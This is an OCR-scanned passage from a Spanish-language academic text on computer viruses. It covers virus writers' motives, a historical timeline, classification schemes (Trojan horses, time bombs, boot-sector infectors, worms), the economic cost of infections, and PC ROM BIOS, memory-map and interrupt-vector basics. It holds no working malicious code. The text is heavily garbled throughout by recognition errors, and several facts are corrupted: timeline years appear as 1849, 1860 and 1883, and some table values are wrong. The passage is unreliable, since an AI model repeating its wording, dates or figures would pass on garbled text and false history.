todos los virus conocidos y desconocidos de ahora y dsl futuro, surge un
creador de virus que intenta demostrar fo contrario.

Proteccibn

En algunos casos los programedores desarrollan variantes de virus que se
les conoce como “esquemas de proteccion®, que son parte en s de los
sistomas que los contienen. Este tipo de proteccion ha demostrado ser tan
efectivo como los sistemas de resguardo que smplean métodos sofisticados
de encriptamiento de programas.

Castigar

Un motive menos frecuonte es &l de castigar la plraterfa informética, en la
que los programas virus lievan contrel preciso del ndmero da coplas de los
programas y al reconocer una copla no autorizada destruyen toda la
informacién que esté a su alcance,

En muchos casos los duefios de empresas de software contratan a
programadores qua desarroflan estas aplicaciones, con ef fin do detectar a
los elementos de su compaiifa que obtiene coplas ilegales de los sistemas
que desarrollan.

Sobotea-
dores

Este es el motivo més temido. Actualmente se ha llegado a un grado de
dependencia da los sistemas computarizados de tal manera que una falla en
ollos 8s un gran problema. Algunos virus estén disefiados para esto, con
algoriimos sofisticados que logran penetrar los sistemas de seguridad sin ser
detectados, exirayendo informacién, alterdndola o borrdndola por coimpleto.




Pe a

Les personas que desarroflan estas aplicacicnes pueden tener unc o varios
metivos da los mencionados anteriorments, pero s indispensable que
tangan un conocimienio profundo no s¢lo de pragramacion, sino ademés de
la estructura y funcionamiento ds la computadora.

Emploados

Muchos incidentes son causados por empleados autorizades que
actian en su beneficio, fuera de los objstivos y funciones de su
trabajo, ¥ en detrimento de la crganizacién.

Desarrolladores
de Software.

Inicialmente las personas que trabajan en desarrollar aplicaciones
de software crearon virus que Se encontraban Integrados a las
aplicaciones que desarrollaban, con el fin de protegerias de ser
copiadas sin autorizacién. Estos programas de software llevan
inmerso un cédigo de l6gica de secuancia, ef cual esta evaluando
mensajes qua recibe del usuario, sin notificacién, mediante algan
tipo de protocolo visual, auditivo o de tiempo. Con esto puede
reconocer a un usuario no autorizado, tomando medidas
portinantss para su proteccidn.

Prankster
(bromistas)

Algunos jovenss usuarios y estudiantes de computacion, crean
aplicaciones para entrar deliberadamente en sistemas protegidos
con claves de accesa y otros medios de seguridad, para probar
su pericia. Una vez que abren los candados y penetran al sistema
mandan mensajes victoriosos en pantalla, sin provecar o intentar
provacar dafios en la informacién.

Profesionales

Los “profesionales” se catalogan en tres categorfas: los que
tisnen intenciones “criminales”, los que perfeccionan sus
conocimientos y los que deliberadamente los desarraifan y
aplican para romper sisternas de seguridad como un *medidor"

de vulnarabilidad para estudiarlas y perfeccionarias.
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Cyberpunis

Este término se empisa para describr a un grupo de
programaderes, pero con un comportamisnto antisocial que
daliberadamente lirumpan en sisternas informéticas, de iado tino,
con ¢ iin de causar dafos, solamsnie mara Su diversin y
aztisfsccitn parsonal, Bl trmine 33 deriva del génere titarario ds
clencia ficcibn que descridbe a los cioerpunks  como
desarrolladores ae juegos de alla tecniologla.

Sabotaadores o
Terrorlatas

Las aplicaciones desarroltadas por ellos son las més complicadas
y mejor disedadas, dado que se enfrentan a los sistemas de
seguridad més complejos.

1.3.2. Historla de los virus Informéticos.

A continuacién se presenta un cuadro con los principales hechos histéricos
relativas con los virus informéticos.

ANO | Virus descubiertos QObservaciones

1849

John von Neumann, describié algunos programas
que se reproducen a si mismos en su libro Theory
and Organization of Complicated Automata.

1860

La primera informaci6n de algo que parece incluir ya
cédigos que trabajan como virus, se refiere a ia
década de los afios 60, y es acerca de los
estudiantes da computacion  del  Instituto
Tecnologico de Massachusetts.

Los estudiantes se reunfan para elaborar programas
sofisticados de entretenimiento  (uegos), pero
ademés desarrollaban aplicaciones que tenfan por
fin afectar los sistemas creados por sus
compafieros, Estas aplicaciones sin ser un virus

ropiamente funcionaban con bases similares.




ANO

Qbservaciones

‘{1972

Virug descubiertog

La primera vez que se usa el término virus ocurre
en una novela de ciencia ficcidn, "When Harley Was
One", por David Gerrold. La descripcién del virus no
s muy apegada a la realidad, aunque se distingue
cierto conacimiento sobre los mismos.

1974

Xerox Corporation presenté en Estados Unidos el
primer programa que ya contenfa un cédigo
autoduplicador,

1883

Fred Cohen presenta una definicidn formal ds virus
Informético. En ese momento , Cohen era un
graduado de la Universidad del Sur de California, y
on la cual asistia a un seminario sobre seguridad
informatica. Se le ocurri6 la idea de desarrollar un
programa que afectara el comportamiento normal
de una computadora (PCj, para demostrar la
importancia de la seguridad en los sistemas
existertes, el cual lo desarrollé eri s6io una somana.
El supervisor del seminario: Profesor Len Adelman
sugirié que llamara a su creacion como "virus®,

La revista Scientific American publica lo anterior en
su artfculo "Computer Recreations” en el nimero de
mayo, ofreciendo por dos délares las gulas para la
creacidn de virus propios.

1986

Es cuando se difunds un virus con la finalidad de
causar destrozos en la informacién de los usuarios,
y éste ataca una gran cantidad de computadoras.
Fue desarrollado en Lahore, Paquistdn, por dos
hermanos que comerciaban en computadoras y
software.




Virus descubiertos

Observaciones

€n su compaitla (Brain Computers) s5e ofreclan
programas muy famosos a precios muy bajos con lo
que e nimero de copias infectadas se extendid
répidamente no s6!0 en Paquistan, sino que al resto
del mundo. Se supons que hasta la fecha el virus
referidc ha infectade méas de 18 000 computadoras,
solamente en Estados Unidos.

Alameda, South
African, Lehigh,
Vienna, Israell.

Diclembre, los expertos de [BM tuvieron que
disefar un programa antivirus para desinfectar su
sistema de correo interno, pues éste fue contagiado
por un virus dafino que hacla aparecer en las
pantallas de las computadoras conectadas a su red
un mensaje navidefo, el cual al reproducirse a sf
mismo rittiples veces hizo muy lento el sistema de
mensajes de la compaiila, hasta el punto de
paralizario por espacio de setenta y dos horas.

1988

ltalian, Dos 62, New
Zegland, Cascade,
Agiplan,Oropax,
Search, dBase,
Screen, Datacrime
(viemnes 13), 405,
Pentagon, Traceback,
Icelandic, Mistake.

Aldus Corporation lanzé al mercado originales de su
pragrama Free-Hand para Macintosh infectados por
un  virus  "benigno" flamado Macintosh
Peoace,MacMag o Brandow. La finalidad de este
virus fué para desplegar un mensaje de paz en las
pantallas de los usuarics, a fin de celebrar ei
aniversario de la introduccién de la Macintosh I, ¢! 2
de marzo de 1988.

Richard R. Brandow, editor de la revista MacMag de
Montreal, Canad4, contratd a un programador para
realizar el mencionado virus, que pronto se propagd
por medio de los servicios de cartelera electronica -
[Bulletin Board Service (BBS)] - {que son servicios
de sofiware o informacién compartida por
cormputadoras via médem y servicio telef6nico).
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Virus descubiertos

Observacionss

Se identificé el virus de Jerusalén, que segun
algunas versiones, fué creado por la Organizaclén
para la Liberacion de Palestina con motivo de la
calebracién del cuarenta aniversario del Gltimo dia
en que Palestina existié como nacién, el viernes 13
de mayo de 1988.

El 2 de noviembre del mismo afo, dos redes de
computadoras en Estades Unidos fueron infectados
por un virus que sa introdujo en ellas, atectando a
mas de 6000 equipos de instalacionss militares de la
NASA, universidades y centros de investigacién
publicos y privados.

30 de octubre, el diario The New York Times,
anunciaba que las computadoras de la NASA habla
sido interferida por desconocidos causando
problemas en el lanzamiento del transbordador
ospacial Atlantis.

£n esa ocasién, unas sesenta computadoras fueron
Infectadas y e programa intruso se siguid
reproduciendo por medio de la red comercial que
tiene la NASA con empresas privadas.

1989

Se flevd ante los tribunales a Robert Morris Jr. (su
padre Robert Morris fué uno de los cientlficos de los
laboratarios Bell, quien colaborara en la creacién del
programa Core War), acusado de ser el creador de
un virus qus infecté computadoras de un sinnimero
de empresas privadas y oficinas de gobierno.
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ANQ | Virus descubiertos Observaciones

1992 Se da una gran publicidad a nivel mundial a un
nuevo virus llamado Miguel Angel, lo cual causd
gran alarma sobre la seguridad de los sistemas
computacionales, slendo este el (nico caso, hasta
ahora, de una alarma mundial para evitar la accion
de un virus. No se supo de ningun dafio causado
por este virus, ni siquiera de alguna deteccidn dal
mismo.

‘ 1.4 Clasificacion de {os virus

Los virus han sido definidos y catalogados de varias formas, pero en
general se clasifican segun el objeto de su ataque: los archivos ejecutables y los
sectores de arranque de los discos.

Inicialmante se agruparon en dos grandss categorfas: Caballos de Troya y
Bombas de Tiempo, aunque cada investigador del fenémeno hace su propia
clasificacion.

Actualmente se tienen varias agrupaciones de virus segun sus
caracterfsticas de reproduccién y formas de ataque, de las cuales las mas
aceptadas, o por o menos las mas difundidas, son:

Caballcs de Troys {Este grupo abarca a todos los virus que infectan
programas de juegos y sistemas muy comercializados. Los
programas infectados se difunden rapidamente entre
plratas y amigos que los coplan confiadamente, pero que
en cuanic se presenta una condicién detarminada, se
activan desarrollando una labor dastructiva que en algunos
casos llega al formateo del disco duro, con la consecuante
pérdida de toda su informacién.




Bombas de
Tlempo

Estos tipos de virus infectan a ios programas ejecutables
que son los archivos con extensién .COM y .EXE. Se
instalan en memoria simplementa al ejecutarse los
programas que los contienen. Evaldan pardmetros tales
como la fecha de! sistema, la hora, niimero de accesos a la
unidad A, y al cumplir una condicién determinada
*explotan* borrando o alterando toda la informacién que
esté a su alcance.

Autorreplicables

Este grupo se destaca por abarcar a los virus que se
autorreproducen, es decir, que incluyen practicamente al
75% de las variedades de virus conocidas actualmente.

Esquemas de
Protecclén

Aqui se encuentran los programas que se disefian para
trabajar como virus, cuando se intenta copiar un programa
que estd protegido contra copia. En ellos se pueden
encontrar estructuras complejas que llevan conteos sobre
el niimero de copias, comprobacién de la integridad de los
elementos de proteccién, encriptamiento y comprobacién
de las claves de acceso al sistema,

Los virus promocionales caen en esta categorfa, los cuales
permiten que la copia ilegal trabaje corractaments por
alglin tiempo, tiempo en el cual el usuario crea varlos
archivos. Al cabo de algin tiempo destruye médulos
fundamentales del sistema, por lo que el usuario se ve
obligado a comprar el programa original para poder
recuperar la informacién que cred con la copla plrata.

Infactores del drea
de carga Iniclal

Los virus que atacan al sector de arranque se pasan de
una a otra PC introduciéndose en el sector de arranque de
un disco flaxible. E! sector de arranque s el primer sector
de un disco flexible y todo disco fiexible, esté o no
formateado, tiene un sector de arranque. El virus pasa al
disco duro si hay un disco flexible infectado en la unidad A:
cuando se arranca el sistema. El virus més comun de este
tipo es el virus Stoned (drogado).
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Infectores del [Son los que afectan a los programas de sistema, por

slatema ajemplo e} COMMAND.COM y otros que se alojan como
residentes en memoria. Los comandos del DOS, como
COPY, DIR o ERASE, son programas que se introducen en
la memoria a! cargar el sistema operativo, y a5 asl como e}
virus adquisre el control para infectar todo disco que se
introduzea en la unidad.

Infactores do La inmensa mayorfa invaden los archivos ejecutables
programas {archivos con extensién .EXE o .COM). La infeccidn se
ejecutabilas producs al ejecutar el programa que tiene el virus, con lo

que se carga en la memoria de la computadora y a partir

de entonces infectard archivos ejecutables “sanos*. Esta
operacién pasa inadvertida para el usuario.

Gusanos Son programas que se reproducen a sl mismos y no
requieren de un anfitribn. Los gusanos se cargan en la
memoria y se posicionan en una determinada direccién,
luego se coplan en otro lugar y se borran del que
ocupaban. Esto hace que queden borrados los programas
o Informacién que encuentren a su paso por la memoria,
causando problemas de operacion o pérdida de datos.

Una dasificacién méas clentffica, atendiendo a la manera en qus se cargan
enla memoria, es:

TEMPORALES - Se instalan temporalmente en la memoria de la
computadora al ejecutarse un archivo infectado.
Cuando termima 1a ejpcucién del archivo, se
descarga junto con el virus de la memoria, es
decir, existrdn en fa memoria mientras sea
ejecutado el programa infectado.




RESIDENTES - Al ejecutar un programa infectado o el sector de
arranque de un disco se instalan de manera que
permanecen permanentes en la memocria hasta
que es apagado el computador.

Puede observarse que muchos virus, atendiendo a sus caracteristicas,
pusden incorporarse en mas de uno de ios grupos aneriores, esto es
fundamentaimente a que s¢lo un 20% de ellos son originales y el resto son
variantes de los mismos.

Para elaborar una clasificacién mas precisa se parte de lo general a lo
particular, en funclon de sus caracteristicas. La caracteristica general mas
importante es la autorreproduccion, por lo que un virus puede difundirse de disco
en disco, de computador en computador; pero no todos los virus tienen esta
caracterfstica, por ello, ésta se presenta como o! punto prlnclp_al para
diferenciarlos, estableciendo dos grandes categorias : no autorreplicables y
autorreplicables (diseminadores).

Ademés de esta diferenciacidn, también se tiene una segiinda divisisn, por
cada uno da allos, en dos subcategorias, que son para distinguir a los que
efectian un dafio latente en los sistemas (pérdida de informacién), y los que
Implican molestias insignificantes.

Lo anterior se representa en el esquema de la figura 1-2.

Benignos No se reproducen y no

ocaslionan daifo.
Caballosde -No se reproducen, pero
Troya ocasionan dafio.

No Autorreplicables

Portadores  -Se reproducen, pero no
ocasianan dafo,
Diseminadores
Virulentos -Se reproducen y ademas
ocasionan dano,

FIGURA 1-2. CLASIFICACION DE LOS VIRUS INFORMATICOS
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Por o tanto, para un virus v v un programa p ss tiene;

v es Benlgno respecto a p si:
v no es patdgeno con respecto a p
V No es contagioso Con respecto a p

v as un Caballo de Troya con respecto a p si:
¥ @s patégeno con respecto a p
v No s contagioso respecto a p
v &8s un Portador con respecto a p st
v no es patégeno respecto a p
v es contagioso respecto a p

v o3 Virulento con respecto a p si:
v es patdgeno con respecto a p
v es contagioso con respectoap

Por consiguiente, si un programa contiene alguin tipo de virus, si este virus
es Benlgno, entoces el programa efectua las mismas funciones que cuando no
estaba infectado. Si el virus es un Cabaiio de Troya, éste as incapaz de infectar
otros programas, sélo pueda efectuar funciones de dafio después de evaluar y
aceptar una condicién determinada. Si es un Portador, este s incapaz ds causar
dafo, pero, bajo una condicién determinada, infectar& otros programas. Si es
Virulento, infectara otros programas y ademas causaré dafio al sistema.

Por tanto, todo programa infectado por un virus Benigno es "bondadoso®
con respecto a la condicién anterior a su infeccién. Esta funcidn le permite, al
programa infectado, operar como si nunca hubiera sido tocado, y sélo se
registrara la presencia del virus, por contratiempos menores, {os cuales para la
gran mayorfa de los usuarios son précticamente inadvertidos. A estos virus se les
denomina benignos en relacidn a la potencialidad dafina de los virus en general.

Los programas infectados por un virus No Autorreplicable sdlo pueden ser
de tipo Benigno o Caballo ds Troya con respecto a sus caracteristicas antes de
ser infectado. En ellos la condicién que activa sus funciones daninas puede no
presentarse. Los virus Mo Autorreplicables no son capaces de infectar otros



programas, pero, un programa infectado puede imitar las funciones que efectuaba
antes de ser infectado, hasta que alguna condicién "dispare” la acclén dastructiva
del virus,

Los programas infectados por virus Diseminadores pueden ser dsl tipo
Portador con respecto a sus caracleristicas antes de ser infectados. Esta clase de
virus infectan a otros programas, perc nunca causan dafic a los sistemas. Este
fipo de virus infectan a otros programas perc no afectan la complejidad o
funcionamiento de los sistemas, y por esto, no es posible Identificarlos por medio
de los dafos que provocan.

Los virus Virulentos pueden efectuar ambas funciones: infectar otros
programas y causar dafio. Esta es la clase de virus més estudiada y temida para
los usuarios.

1.5 Costo de un virus.

En ol andlisis sobre virus informéticos, el aspacto econdmico tiends a ser
muy descuidado por la mayoifa de los investigadores, quienes centran su atencién
casi al 100% en los aspectos técnicos del problema.

La repercusién econémica ocasionada por un virug abarca un amplio rango
que va, desde los virus "benignos” que pueden considerarse con una afectacién
despreciable, hasta los virus "virulentos® que pueden ocasionar daflo fisico en
equipo o pérdida de informacién.

Partiendo de esta base, se debe considerar que los virus pueden causar
darios en el hardware y en el software.

Los dafios en hardware se presentan principalimente eh el monitor y en los
lectores de drive. Un monitor cuesta entre $500,000.00 y $1,500,000.00 pesos,
mientras que un drive vale $230,000.00 pesos. Asl que un virus que dafte al
monitor o a los drives nos costarfa como minimo estas cantidades.

Pero evaluar el costo de un virus no es tan simple.

Debe considerarse no sdlo ef valor de los equipos afectados, sino ademis
el desgaste de los recursos informéticos involucrados,
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Por ejsmplo, suponiendo que en una compafia se efectiue un trabajo de
captura durante una semana y que al final de la misma se presente un ataque viral,
ocasionando la destrucion de la Informacion capturada.

En este caso debe evaluarse multiples cosas:

¢ El salarlo del personal de captura (1 semana), sin que su trabajo aporte un
beneficio econbémico.

« El desgaste de los recursos de equipo (depreciacién sin beneficio).

« El tiempo de resago (que tan rdpido se volverd a capturar la informacién

perdida).

La pérdida de oportunidad al no contar con la informacién.

4{Cuénto costaré recupsrar esta informacién en el menor tiempo posible (pago

de horas extras o contratar mas personal)?.

Si existla un sistema de seguridad, écuanto costo instalarlo?.

Si no sdlo se perdi6 la informacién de la semana, sino ademéas programas y

paquetes.

-

Estos son los aspectos mas ‘visibles" pero debe considerarse incluso
aquellos como el factor psicoldgico que propicia una especie de "fobia" a la
repeticién del problema, por lo cual los administradores de los sistemas llegan a
tomar acciones precipitadas.

El dafio al software mas significativo es la pérdida de informacién. Para
evaluar correctamente el costo de la pérdida de informacién por un ataque viral
dabe responderse a una pregunta por damas interesante:

LCudnto vale 1a Informaclén manejada en los equipos informéticos?.

Un resultado més precisc en el estudio econdmico de los virus implica un
andlisis de la rentabilidad de la Informacién. Algunos criterios para la medicién del
"costo-beneficio” se presentan en la figura 1-3.

El rango beneficio/costo en los sisternas de informacién es un criterio, mas
que un auténtico indice mensurable.



CRITERIO DE RENTABILIDAD DE LA INFORMACION
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FIGURA 1-3. CRITERIO DE RENTABILIDAD DE LA INFORMACION




Analizando los componentes de la "utilidad" de la informacién, se encuentra
que la oportunidad en el tiempo &s una cualidad de singular importancia. Un
ataque viral puede disminuir la utilidad de la informacién al propiciar resago en la
funcionalidad de los sistemas informético. El resago se proionga en gran medida
en casoc de perdida de informacién que deba ser restablecida, ya que debe
considerarse en que tiempo debe cubrirse este restablecimiento para que la
informacién puede ser oportuna todavia.

Por otro lado, la evolucién actual, tiende a! incremento de la inversiones
destinadas al tratamiento de la informacién, y ello a causa de fa evolucién de las
necesidades en el campo de la informética.

Sin embargo es dificil hallar criterios de medida que permitan evaiuar la
rentabilidad de los sistemas de informacién.

Ademds se debe considerar que toda informacién posee, a la vez, un valor
psicolégico: ayuda a la toma de decisién, confianza en esta decisién y un valor
econémico que puede ser medide en ciertos casos.

La toma de decisiones es en sl un factor importante: no se trata de
presentar la decision que producird mejores resultados - imposible de predecir
apriori - sino la qus estad mejor fundamentada.

La fundamentacién de la toma de decisiones, basada en informacion
oportuna es en términos reales muy valiosa y su afectacion por fa actividad de un
virus informatico puede ser lamentablemente muy costosa.

En este punto es imposible precisar cifras. Por ejemplo, la informacién
procesada en una computadora empleada solamente para trabajo secretasial, no
seré "tan valiosa" como ofra que procese cotizacionas, andlisis presupuestales o
estudios de mercado.

Asl que el porcentajp de seguridad que debe cubrirse en un sistema
depende de muchos factores, por esto es que se debe considerar no sélo
emplear un programa antivirus, sino un plan integral de seguridad informética.

Por otro lado son muy pocos los estudios serios hechos para medir la
repercusién econémica propiciada por un virus. En agosto de 1988, la Nuclear
Regulatory Commision, de Estados Unidos, anuncié su intencién de sancionar
hasta con 1'250,000 délares a la planta de energfa nuclear Peach Bottom, en
Pensilvania, porque sorprendid a los operadores de la planta jugando en las
computadoras con copias piratas de programas de jusgos (principales medios de
propagacién de virus infométicos).



Puede resumirse en términos reales que gastar en un slstema que
asegure un 90% de nuestra Informacién nos costaré un 10% do laa ganancias,
pero sl se emplea un sistema que asegure tan sélo el 10% de la Informacién
puede repercutlrnos en el 90% de las gananclas {figura 1-4).

L - 10% - s
SEGURIDAD COSTO PERDIDA

1% - 0% - $
SECURIDAD COsTO PERDIDA

FIQURA 1.4. RELACKON COSTO DE SEQURIDAD-PERDIDA ECONOMICA
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~ ESTRUCTURA DE LOS
VIRUS INFORMATICOS

Los virus informaticos se reproducen de disco a disco, de computador en
computador y algunos alteran el funcionamiento de un computador al tener
acceso directo al 8I0S.

La mayorla de los usuarios no tienen ninguna nocién, ni siquisra elemental,
de como estd& estructurado un computador, los medios de almacenamiento ni
como operan las funciones basicas del BIOS, por lo que no pueden entender
plenamente a los virus., Estos conocimientos, que aungue técnicos no son
complicados para entenderse, son fundamentales no séio para comprender a los
virus, y al tenerlos, el usuario posee recursos apropiados para detectarlos,
prevenir su contagio asi como sus danos, erradicarlos y en la medida de o posible
recuperar informacién que hayan afectado, adn sin contar con los programas
antivirus, que por otro lado son, hasta cierto punto, inseguros para la deteccién de
nUevos virus.

Es por esto que se daré a conocer los conocimientos bésicos del software
de ROM, lo cual permitird conocer como alteran y modifican el funcionamiento de
un computador,

Si conocemos la estructura de los discos y su funcionamianto,
entenderemos cémo y en que dreas se alojan estos programas, con lo que sera
més facil localizarlos y podremos tomar las medidas adecuadas para combatirios.

Por altimo se estudiard en detalle la manera en qua efectian la
autorreproduccién, la cual es la funcién mas peculiar de éstos, con lo que se
podran entender los controles que efectian los programas antivirus, asf como
justificar algunas reglas bésicas de seguridad que se estudiaran en el capftulo 3.



2.1 Conceptos bésicos del software de ROM.

Este software 6s el que inicializa al computadar y permite que las funciones
que efectia sean mucho mas féciles al permanecer permanentemente dentro de la
computadora. Este software de ROM (Read Only Memory - memoria de sdio
lectura), 6s una mermoria permanentemante recordada por los circuitos ROM dal
computador, la cual no pueds ser cambiada, borrada o perdida.

Las computadoras PCs y PS/2s contienen un ROM con programas y datos
necesarios para inicializar y operar un computador y sus periféricos {monitor,
impresora, setc.). La ventaja de tener los programas fundamentales para la
computadora en ROM es que osta justamente ahl (dentro del computador), y no
as necesario cargarlos en memoria de algun disco, que es la forma sn que carga
an memaoria al sistema operativo. Como son permanentes, los programas en ROM
puedan ser empleados por otros programas (incluyendo al DOS).

Los programas contenidos en ROM ocupan las direcciones F000:0000h a
FOOO:FFFFh en la familia PC/XT/AT y en los PS/2 medelos 25y 30,y E0G00:0000h a
FODO:FFFFh en los ofros modelos de PS/2s. Esto puede observarse
esqueméticamente en la figura 2-1.

La direccién exacta en que se encuentra una rutina en !a ROM puede variar
en los distintos tipos de computadoras, por fo que la IBM proves una interface
consistente con el software de ROM empleando interrupciones, las cuales se
explicaran mas a detalle en la seccidn 2.1.2.

2.1.1. Mapa de memorla del sistema.

En la original IBM PC, los 1MB de espacio direccionables por el 8088 fusron
divididos en &reas especfficas segun su funcién, como se muestra en la figura 2-1.
Este mapa de memoria ha sido integrado, por compatibiidad, en los
subsecuentes modelos de PC y PS/2,
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Extensién de mematia - PCFAT y PS/2
100000H .
E H . Revsrvaco parasl ROM BIOS
Aeservado para extension de ROM
CO000H o
Al " > Butters de Video
Parte rosidente del DOS
Area da Trabajo
{programas de usuario y datos)
Parts rosidents del DOS — RAM
H - Aren de datos para la ROM BI0S y BASIC
00400H > Atoa da datos para Ia ROM BIOS
Veciores de Interrupcién
00000H . —
FIGURA 2-1. Mapa do memoria Us ado en PCa y PS/2s

Una consecuencla de fa distribucién de la memoria en esta forma es el
diserio del microprocesador 8086. Por ejemplo, el 8086 siempre mantiene una lista
de vectores de interrupcion (direcciones de rutinas de manejo de interrupciones)
en los primeros 1024 bytes de la RAM. Similarmente, todo procesador basado en
el B0B6 coloca la memoria ROM en la parte alta de la memoria, porque, el 8086,
cuando comienza, ejecuta el programa qus comienza en la direccién FFFFOh.

El resto del mapa de memoria muestra una divisién gsneral entre la RAM en
la parta baja de la memoria y la direccién da la ROM en la parte alta. Un méximo
de 640 KB de RAM puede existir entre las direcciones 00000h a 9FFFFh (esta es el



4rea de memoria descrita por el programa CHKDSK del DOS). Los subsecuentes
bloques de memoria son reservados para el video (ACO0Oh a BFFFFh), circuitos
de expansibn de ROM (C0D0Oh a DFFFFh), y la ROM permanente (E0000h a
FFFFFh).

2.1.2. Arranque de! computador

El primer trabajo que efectian los programas de ROM es el de supervisar 6!
arranque del computador.
Las rutinas de arranque efactuan cinco operaciones bésicas:

1 |Se efectia un rapido chequeo del computador (y de los programas de

ROM) para asegurarse que tado esta en orden.

2 [{Iniclaliza los circuitos que controlan los dispositivos periféricos conectados

al computador.

3 | Establace la tabla de vectores de interrupcion.

Checa que equipos periféricos estan conectados al computador.

5 |Lee el sistema operativo de algun disco (A o C ) y lo carga en memoria.

Las operaciones anteriores se explicarn a continuacién con mayor detalle:

El chequeo del sistema, comionza dasde el momento que se prende y es
un importants proceso que asegura el funcionamiento correcto del computador. Ei
chequso en este punto es muy rapido, con excepcion det chequeo de la memoria
(RAM), el cual puede ser muy lento para computadoras que tienen gran capacidad
de memoria.

El proceso de inicializacién es més complejo. Una rutina establece los
valores default para los vectores de interrupcion. Estos valores son las direcciones
de rutinas esténdar localizadas en ta ROM BIOS, o direcciones de rutinas de
'no_hacer_nada" también en la ROM BIOS tales que serdn remplazadas por
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rutinas establecidas por el sistama operativo o por ei proplo usuario. Otra rutina de
inicializacién determina que equipo estd declarado para ser manejado por el
computador y establece un registro de esto en una locacién estdndar en fa parte
baja de la memoria. Esta informacion varfa de modelo a modelo y el ROM BIOS les
estos datos de configuracién de un 4rea de memoria especial, no volatil, cuyo
contenido es inicializado por un programa especial llamado setup, proporcionado
por IBM. El resto de las rutinas de inicializacién efectia una inspeccién logica y
pruaba del hardware del computador,

La informacién de estado es recordada e inicializada en la misma forma por
todo modelo de computador, y por esto, cualquier programa puede examinaria y
utilizarla. Las rutinas de inicializacién también checan nuevo equipo declarado y
extensionss de la ROM, Si encuentra alguna, transfiere momenténearmente el
contro! a la extensién de ROM para que ésta inicialice sus procesos.

La parte final de este proceso de arranque, es ejecutar el programa de
bootstrap - programa cle arranque. Este es una pequena rutina que ejecuta un
programa de un disco. En esencia, el ROM bootstrap lee el sactor de carga de un
disco (boot sector - sector 0). El boot sector del disco es responsable de llamar a
otro programa del disco, que s usualmente un sistema operativo, tal como el
DOS (Disk Operating System). Si el programa de carga {ROM bootstrap) no
pusde lear el sistema cporative, activa algunas rutinas del ROM BASIC o despliega
un mensaje de error. Si no existe problema en ejecutar el programa de carga ni al
cargar el sistera operativo el proceso termina y el computador transfiere el control
al sistema cperativo.

2.1,3 El ROM BIOS

El ROM BIOS es la parte del ROM que siempre astd activa mientras el
computador esté trabajanda. El principal objetive del ROM BIOS es el de proveer
servicios fundamentales que son necesarios para el computador, La parte mas
importante de sus funciones es 1a de controlar los dispositivos periféricos, tales
como el monitor, el teclado, y las unidades de disco. El BIOS no séio contiene
rutinas necesarias para el control de los periféricos, también contiene rutinas
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fundamentalas para la operacién del computador, tal como el manejo del tiempo o
de fechas.

Conceptualments, los programas del ROM BIOS mantienen funciones entre
programas ejscutados en RAM (incluyendo al DOS) y el hardware. En efecto, ol
BIOS trabaja en dos direcciones o dos formas de procesamisnto. Por un lado
atiende requerimientos de programas que emplsan servicios de entrada/salida
con funciones estandar del BIOS. Un programa invoca estos servicios con una
combinacion de un ndmero de interrupcién (que indica el sujeto de servicio
requerido, tal como servicios de impresién) y el nimero de servicio (que Indica
especificamente que servicio requiere). Por el otro lado ef ROM BIOS se comunica
con los dispositivos periféricos de hardware (pantalla, controladores de discos y
otros) , empleando comandos detallados sobre el requerimiento del periférico.

2.1.4, Vectores de Interrupclén

La familia da 1BM PCs, tal como todo computador basado en la familia del
microprocesador 8086 da Intel, es controlada por el uso de intefrupciones, que
pueden generarse por hardware o por software. Las rutinas de servicios del BIOS
no tienen excepciones, estas son asignadas por un numero con el cual se puede
llamar a ésta siempre que se quiera usar el servicio,

Cuando ocurre una interrupcién, el computador transfiere el control al
comienzo de una subrutina cuya direccién fue inicializada por las rutinas de
arranque del ROM (las rutinas de servicio del BIOS no son més que un conjunto
de direccionamientos a subrutinas para el manejo de estas interrupciones), El
comisnzo de la subrutina para el manejo de interrupcién es llamado por las
direcciones del segmento y desplazamiento contenidas dentro de los registros de
control de flujo de programa: registro CS (code segment - segmento de cédigo) v
el registro IP {instruction pointer - puntero de instruccion), que juntos forman el par
CS:IP. Los direccionamientos de las subrutinas de interrupcién de esta manera
son lamados vectores ds interrupcién.

Durante el proceso de inicializacién del sistema, el BIOS establece la tabla
de vectores de interrupcién de acuerdo a las direcciones de estas subrutinas en la
ROM. La tabla de vectores de interrupcidn comienza en el principio de la RAM, en
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la direccién 0000:0000h (vea la seccién 2.1 - mapa de memoaria). Las direcciones
en esta tabla se establecen como un par de palabras {words- cada word, palabra,
consta de dos bytes), la primera de las cuales corresponde al desplazamiento vy la
segunda al segmento. Un vector de interrupcién puede cambiarse a otra subrutina
de interrupcidn, simplamente con ubicarse en 8! vector y cambiarie los valores de
las direccionaes.

En general, las interrupciones en la familia de PCs puedsn dividirse en sois
categorfas: microprocesador, hardware, software, DOS, BASIC y de uso gsneral.

Debido a que estos vectores constan de dos palabras de longitud, y dado
que el vector ds interrupciones es el comienzo de la memoria, se puede encontrar
la locacién en memoria da cualquier interrupcién, multiplicando el nimero de la
interrupcioén por 4 {dos palabras equivalen a 4 bytes). Por sjemplo, el vector de
interrupcidn  05h, el servicio de interrupcidn para impresién de pantalla, lo
podemos encontrar en el desplazamiento 20 (5x4=20); esto nos da la direccién
0000:0014h. Se puede examinar los vectores de interrupcién empleando el
programa DEBUG del sistema operativo. Por ejemplo, podemos examinar la
interrupcién 05h con DEBUG de !a siguiente manera:

DEBUG
-D 0000:0014 L 4

DEBUG mostrara cuatro bytes en numeracién hexadecimal, tal como, por
ejemplo:

54 FF 00 FO

Convierta esto a una direccién de segmento y un desplazamiento
invirtiendo el orden de las palabras, con esto encontrara el vector de interrupcién
que es la direccién en ROM donde se encuentra la subrutina que efecttia la
impresién de fa pantalla {interrupcion 05h) y que es FO00:FF54h (esta direccién es
distinta para los diferentes mlembros de la familia PC).

En la tabla 2-1 se muestran las principales interrupciones y sus vectares de
direccionamiento, resaltando las que son afectadas usualmente por los virus
informéticos.
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Desplazamisnto
Ndmero de interrupcién en el segmento
- uso
Hexadecimal Decimal 0000
invoca el servicio de
0O5H 5 0014 impresién de pantalla de la
ROM BIOS.
Clock Timer (Reloj del
08 8 0020 sistema).
Invoca los servicios para
13H 18 004C manejo de discos del ROM
BIOS.
Invoca los servicios de
15H 21 0054 sistera del ROM BIOS.
Invoca los servicios
16H 2 0058 "standar" para manejo del
teclado de la ROM BIOS
Invoca los servicios de
21H 3 0084 funciones del DOS
Termina la ejecucién de un
27H 39 0039C programa pero o deja
residente en memoria.

TABLA 2-1. INTERAUPCIONES USUALMENTE AFECTADAS POR VIRUS INFORMATICOS

2,1.5. Arranque del DOS

El programa inicial en ROM carga y ejecuta al programa bootstrap
(programa de arranque) de algin disco y le transfiere el tontrol del procesador.
En un disco botable (que contiene los archivos basicos del sistema operativo), el
